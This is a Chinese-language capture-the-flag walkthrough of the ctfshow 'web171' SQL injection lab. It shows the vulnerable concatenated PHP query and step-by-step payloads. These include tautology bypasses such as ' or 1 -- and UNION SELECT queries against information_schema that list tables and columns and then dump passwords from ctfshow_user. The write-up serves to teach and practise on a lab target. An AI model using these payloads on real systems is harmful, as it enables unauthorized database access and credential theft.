CTF秀WEB入门的SQL注入web171
继续开启全栈梦想之逆向之旅~
这题是 CTF秀WEB入门的SQL注入web171
打开容器,考察的是字符型注入,SQL的本质是拼接,所以我们也要用拼接做文章:
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
.
.
(这里积累第一个经验)
可以看出它用条件过滤静止显示了flag,所以有两种方法绕过:
第一种方法是改变条件, 通过条件覆盖,条件冲突之类的方法改变原条件中的禁止显示flag的where username !=‘flag’ 限制。
第二种方法是改变对象,因为当前的where username !=‘flag’ 条件作用在它对应的select上面,所以我们可以通过拼接union select来创造另一个不受限制的select对象来绕过限制。
.
.
.
第一种方法改变条件:
附上我以前的笔记:
上面已经讲得很清楚了,所以我们可以用下面的方法:
' || 1 --
' || true --
' or true --
' or 1 --
.
.
.
(这里积累第二个经验)
第二种方法改变对象:union select创建新对象
首先了解information_schema.tables
和information_schema.columns
表有相同的重要字段table_schema和table_name,所以我们查通过数据库明查表明时可以直接使用information_schema.columns
表一气呵成,也可以交叉使用information.tables
和information_schema.columns
表。
下面’ union select 1,2,group_concat(table_name) from information_schema
.tables where table_schema=‘ctfshow_web’ –
和
’ union select 1,2,group_concat(table_name) from information_schema.columns
where table_schema=‘ctfshow_web’ – 是等价的
' order by 3--
#(这里积累第三个经验):这里mysql的#注释符被禁了,会回显数据接口请求异常:parsererror。所以只能用-- 注释符了,order by num通过排序查看列的数量,试到了4就报错了,所以是3列。可是select那里明明只挑username,password两列,order by却说明有3列,可能是有什么高级知识点我还没涉及吧,也可能是他内部是另一条sql语句。
' union select 1,2,database() --
#题目username !='flag'说明flag就在当前数据库和数据表中,就不用看其它表了。
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --
# 库名是ctfshow_web,这里group_concat函数是为了在数据库内存在多个表的情况下用把多个表名在一行上写出来。
' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --
# information_schema.tables和information_schema.columns有同样字段table_schema和table_name,所以可以交叉使用。
' union select 1,2,password from ctfshow_user --
#只有条件中的字符串才要加引号,这里不是条件的ctfshow_user不用加字符串。
结果:
.
总结:
1:
(这里积累第一个经验) 可以看出它用条件过滤静止显示了flag,所以有两种方法绕过:第一种方法是改变条件, 通过条件覆盖,条件冲突之类的方法改变原条件中的禁止显示flag的where username !=‘flag’ 限制。
第二种方法是改变对象,因为当前的where username !=‘flag’ 条件作用在它对应的select上面,所以我们可以通过拼接union select来创造另一个不受限制的select对象来绕过限制。
2:
(这里积累第二个经验)
第二种方法改变对象:union select创建新对象首先了解
information_schema.tables
和information_schema.columns
表有相同的重要字段table_schema和table_name,所以我们查通过数据库明查表明时可以直接使用information_schema.columns
表一气呵成,也可以交叉使用information.tables
和information_schema.columns
表。
.
下面’ union select 1,2,group_concat(table_name) from
information_schema
.tables where table_schema=‘ctfshow_web’ – 和’ union select 1,2,group_concat(table_name) frominformation_schema.columns
where table_schema=‘ctfshow_web’ – 是等价的
3:
(这里积累第三个经验):这里mysql的#注释符被禁了,会回显数据接口请求异常:parsererror。所以只能用-- 注释符了,order by num通过排序查看列的数量,试到了4就报错了,所以是3列。可是select那里明明只挑username,password两列,order by却说明有3列,可能是有什么高级知识点我还没涉及吧,也可能是他内部是另一条sql语句。
解毕!敬礼!